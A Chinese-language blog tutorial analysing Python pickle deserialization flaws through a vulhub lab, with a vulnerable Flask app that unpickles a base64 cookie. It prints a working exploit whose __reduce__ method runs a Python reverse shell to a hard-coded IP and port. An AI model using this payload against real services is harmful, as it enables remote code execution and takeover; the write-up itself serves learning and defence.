Python-unpickle反序列化漏洞简单分析

Python-unpickle反序列化漏洞简单分析

虽然反序列化不是语言本身的问题,但是安全研究方面都主要是java和php的反序列化漏洞为主,毕竟应用场景更广,对于Python的反序列化,感觉出现在CTF里要多一些,Python主要是用pickle模块来实现的。看到vulhub里刚好有Python反序列化漏洞的环境,就拿来研究一下。

还是先演示一下Python的序列化,以我自己写的一个demo为例。

import pickle
 
class Hacker():
    def __init__(self,name):
        self.name = name
    def dream(self):
        print(self.name+' Want To Be Awsome!')
 
Person = Hacker('Zgao')
Person.dream()
info = pickle.dumps(Person)
print(info)

我构造了一个Hacker类,实例化了一个Person对象,然后用pickle模块将其序列化,对应的输出为:

Zgao Want To Be Awsome!
b’\x80\x03c__main__\nHacker\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x04\x00\x00\x00Zgaoq\x04sb.’

红色部分就是序列化之后的内容,反正是一堆字符。当然也可以将其反序列化为对象。

import pickle
 
class Hacker():
    def __init__(self,name):
        self.name = name
    def dream(self):
        print(self.name+' Want To Be Awsome!')
 
Person = Hacker('Zgao')
info = pickle.dumps(Person)
a = pickle.loads(info)
a.dream()

输出为:Zgao Want To Be Awsome!

我们将其反序列化给a这个对象,并调用dream方法成功了。可以简单归纳一下过程。

序列化过程:

  1. 从对象提取所有属性,并将属性转化为名值对
  2. 写入对象的类名
  3. 写入名值对

反序列化过程:

  1. 获取 pickle 输入流
  2. 重建属性列表
  3. 根据类名创建一个新的对象
  4. 将属性复制到新的对象中

但是需要注意的是,这个对象只要能在当前环境下创建起来就能完成反序列化,否则则不能实现对象的重构。现在对Python序列化和反序列化有一定了解了,就来看vulhub给的漏洞代码。

import pickle
import base64
from flask import Flask, request
 
app = Flask(__name__)
 
@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"
 
    return "Hello %s" % username
 
if __name__ == "__main__":
    app.run()

依旧是用的flask,从代码中看到实际是从cookies中取出user的值,先base64解码后再反序列化,异常则返回Guest,所以我们直接访问就是看到的Hello Guest。虽然看了代码后思路很简单,利用思路就是自己构造一个恶意类序列化后base64编码,再以cookie的形式发包即可,但我们还是先看看vulhub提供的exp,我做了一些修改。

#!/usr/bin/env python3
import requests
import pickle
import os
import base64
 
class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.240.75.183",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
        return (os.system, (s,))
 
e = exp()
s = pickle.dumps(e)
 
response = requests.get("http://47.240.75.183:1900/", cookies=dict(
    user=base64.b64encode(s).decode()
))
print(response.content)

我们分析一下exp的代码,是将反弹shell的操作放到Python代码中去实现的,而并非bash直接反弹。发现还用到了__reduce__魔法函数,它的作用是什么呢?

当定义扩展类型时,如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:第一个可调用的对象,用于重建对象时调用;第二个参数元素,供那个可调用对象使用,剩下的可选。

所以比如最后return (eval,(“os.system(‘ls’)”,)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,(‘ls’,))。

不过要想对Python反序列化的漏洞有深入的理解,还需要对pickle源码进行分析,所以这里只能浅尝辄止,带我读完pickle源码再进一步分析。

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。